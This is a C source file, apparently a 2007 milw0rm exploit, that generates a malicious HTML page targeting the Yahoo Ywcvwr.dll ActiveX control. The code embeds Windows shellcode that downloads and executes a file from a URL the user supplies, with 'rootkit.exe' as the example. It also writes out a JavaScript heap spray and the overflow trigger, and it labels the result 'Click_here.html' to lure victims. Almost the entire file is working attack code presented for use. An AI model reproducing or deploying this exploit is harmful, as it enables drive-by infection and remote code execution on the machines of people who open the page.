144 lines
No EOL
3.8 KiB
C
144 lines
No EOL
3.8 KiB
C
/*
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Compile in LCC-win32 (Free!)
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Download and exec any file you like!
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Have Fun!
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*/
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#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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char *file = "Click_here.html";
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FILE *fp = NULL;
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unsigned char sc[] =
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"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
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"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
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"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
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"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
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"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
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"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
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"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
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"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
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"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
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"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
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"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
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"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
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"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF";
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char *url = NULL;
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unsigned char sc_2[] = "\x00\x98";
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char * header =
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"<html>\n"
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"<object classid=\"clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277\" id='viewme'></object>\n"
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"<body>\n"
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"<SCRIPT language=\"javascript\">\n"
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"var shellcode = unescape(\"%u9090%u9090%u9090%u9090\" + \n";
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char * footer =
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"\n\n"
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"bigblock = unescape(\"%u9090%u9090\");\n"
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"headersize = 20;\n"
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"slackspace = headersize+shellcode.length;\n"
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"while (bigblock.length<slackspace) bigblock+=bigblock;\n"
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"fillblock = bigblock.substring(0, slackspace);\n"
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"block = bigblock.substring(0, bigblock.length-slackspace);\n"
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"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n"
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"memory = new Array();\n"
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"for (x=0; x<500; x++) memory[x] = block + shellcode;\n"
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"var buffer = '\\x0a';\n"
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"while (buffer.length < 5000) buffer+='\\x0a\\x0a\\x0a\\x0a';\n"
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"viewme.server = buffer;\n"
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"viewme.receive();\n";
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char * trigger_1 =
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"</script>\n"
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"</body>\n"
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"</html>\n";
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// print unicode shellcode
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void PrintPayLoad(char *lpBuff, int buffsize)
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{
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int i;
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for(i=0;i<buffsize;i+=2)
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{
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if((i%16)==0)
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{
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if(i!=0)
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{
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printf("\"\n\"");
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fprintf(fp, "%s", "\" +\n\"");
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}
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else
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{
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printf("\"");
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fprintf(fp, "%s", "\"");
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}
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}
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printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
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fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
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}
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printf("\";\n");
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fprintf(fp, "%s", "\");\n");
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fflush(fp);
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}
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void main(int argc, char **argv)
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{
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unsigned char buf[1024] = {0};
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int sc_len = 0;
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int n;
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if (argc < 2)
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{
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printf("\r\nYahoo 0day Ywcvwr.dll ActiveX Exploit #2 Download And Exec\n");
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printf("link:http://research.eeye.com/html/advisories/upcoming/20070605.html\n");
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printf("link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 \n");
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printf("link:http://secunia.com/advisories/25547/\n");
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printf("greetz to Jambalaya for helping with this code\n");
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printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]);
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printf("\r\nE.g.: %s http://www.malwarehere.com/rootkit.exe exploit.html\r\n\n", argv[0]);
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printf("=-Excepti0n-=\n");
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exit(1);
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}
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url = argv[1];
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if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
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{
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printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
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return;
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}
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printf("[+] download url:%s\n", url);
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if(argc >=3) file = argv[2];
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printf("[+] exploit file:%s\n", file);
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fp = fopen(file, "w");
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if(!fp)
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{
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printf("[-] Open file error!\n");
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return;
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}
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//build Exploit HTML File
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fprintf(fp, "%s", header);
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fflush(fp);
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memset(buf, 0, sizeof(buf));
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sc_len = sizeof(sc)-1;
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memcpy(buf, sc, sc_len);
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memcpy(buf+sc_len, url, strlen(url));
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sc_len += strlen(url);
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memcpy(buf+sc_len, sc_2, 1);
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sc_len += 1;
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PrintPayLoad((char *)buf, sc_len);
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fprintf(fp, "%s", footer);
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fflush(fp);
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fprintf(fp, "%s", trigger_1);
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fflush(fp);
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printf("[+] exploit write to %s success!\n", file);
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}
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// =-Excepti0n-=
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// milw0rm.com [2007-06-08]
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